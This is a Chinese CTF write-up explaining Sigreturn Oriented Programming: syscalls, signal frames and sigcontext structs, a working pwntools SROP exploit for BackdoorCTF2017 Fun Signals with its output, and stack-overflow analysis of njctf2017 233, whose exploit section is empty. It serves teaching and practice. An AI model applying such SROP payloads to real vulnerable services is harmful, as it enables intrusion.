CTF-All-In-One/doc/6.4_pwn_njctf2017_233.md
2017-11-21 17:11:08 +08:00

229 lines
8.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.4 pwn njctf2017 233
- [题目复现](#题目复现)
- [SROP 原理及题目解析](#srop-原理及题目解析)
- [Linux 系统调用](#Linux 系统调用)
- [signal 机制](#signal-机制)
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
- [njctf2017 233](#233)
- [Exploit](#exploit)
- [参考资料](#参考资料)
## 题目复现
在 6.1 中我们看到了 blind ROP这一节中再来看一种 ROP 技术Sigreturn Oriented Programming。
checksec 如下:
```
$ checksec -f 233
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 233
```
把程序运行起来:
```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
```
## SROP 原理及题目解析
#### Linux 系统调用
在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
`/usr/include/asm/unistd_64.h``/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`
一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0后者用于从 Ring0 返回 Ring3它没有特权级别检查也没有压栈的操作所以执行速度更快。
#### signal 机制
![](../pic/6.4_signal.png)
sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext所以这里还是给出旧定义仅当用户空间依然依赖它时才会使用它们
```
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate *fpstate;
__u32 oldmask;
__u32 cr2;
};
# else /* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
```
在你使用 `ldd` 命令时,通常也会显示 vDSO如下
```
$ ldd /usr/bin/ls
linux-vdso.so.1 (0x00007ffff7ffa000)
libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)
```
32 位程序则会显示 `linux-gate.so.1`,都是一个意思。
#### BackdoorCTF2017 Fun Signals
我们先来看一个简单的例子,一个 64 位静态链接的 srop可以说是什么都没开。。。
```
$ checksec -f funsignals_player_bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin
```
```
gdb-peda$ disassemble _start
Dump of assembler code for function _start:
0x0000000010000000 <+0>: xor eax,eax
0x0000000010000002 <+2>: xor edi,edi
0x0000000010000004 <+4>: xor edx,edx
0x0000000010000006 <+6>: mov dh,0x4
0x0000000010000008 <+8>: mov rsi,rsp
0x000000001000000b <+11>: syscall
0x000000001000000d <+13>: xor edi,edi
0x000000001000000f <+15>: push 0xf
0x0000000010000011 <+17>: pop rax
0x0000000010000012 <+18>: syscall
0x0000000010000014 <+20>: int3
End of assembler dump.
gdb-peda$ disassemble syscall
Dump of assembler code for function syscall:
0x0000000010000015 <+0>: syscall
0x0000000010000017 <+2>: xor rdi,rdi
0x000000001000001a <+5>: mov rax,0x3c
0x0000000010000021 <+12>: syscall
End of assembler dump.
gdb-peda$ x/s flag
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
```
而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。
首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下:
```python
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(str(frame))
io.interactive()
```
```
$ python2 exp_funsignals.py
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
```
如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。
#### njctf2017 233
这是一个 32 位的程序。
```
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000063b <+0>: push ebp
0x0000063c <+1>: mov ebp,esp
0x0000063e <+3>: push ebx
0x0000063f <+4>: and esp,0xfffffff0
0x00000642 <+7>: sub esp,0x20
0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx>
0x0000064a <+15>: add ebx,0x197e
0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400
0x00000658 <+29>: lea eax,[esp+0x16]
0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax
0x00000660 <+37>: mov DWORD PTR [esp],0x0
0x00000667 <+44>: call 0x480 <read@plt>
0x0000066c <+49>: lea eax,[esp+0x16]
0x00000670 <+53>: mov DWORD PTR [esp],eax
0x00000673 <+56>: call 0x4c0 <atoi@plt>
0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4]
0x0000067b <+64>: leave
0x0000067c <+65>: ret
End of assembler dump.
```
这个程序看起来很简单,就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方,然后将其传给 atoi。很明显的栈溢出
```
gdb-peda$ pattern_offset 0x41284141
1093157185 found at offset: 22
```
## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中:
## 参考资料
- [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
- [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
- [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)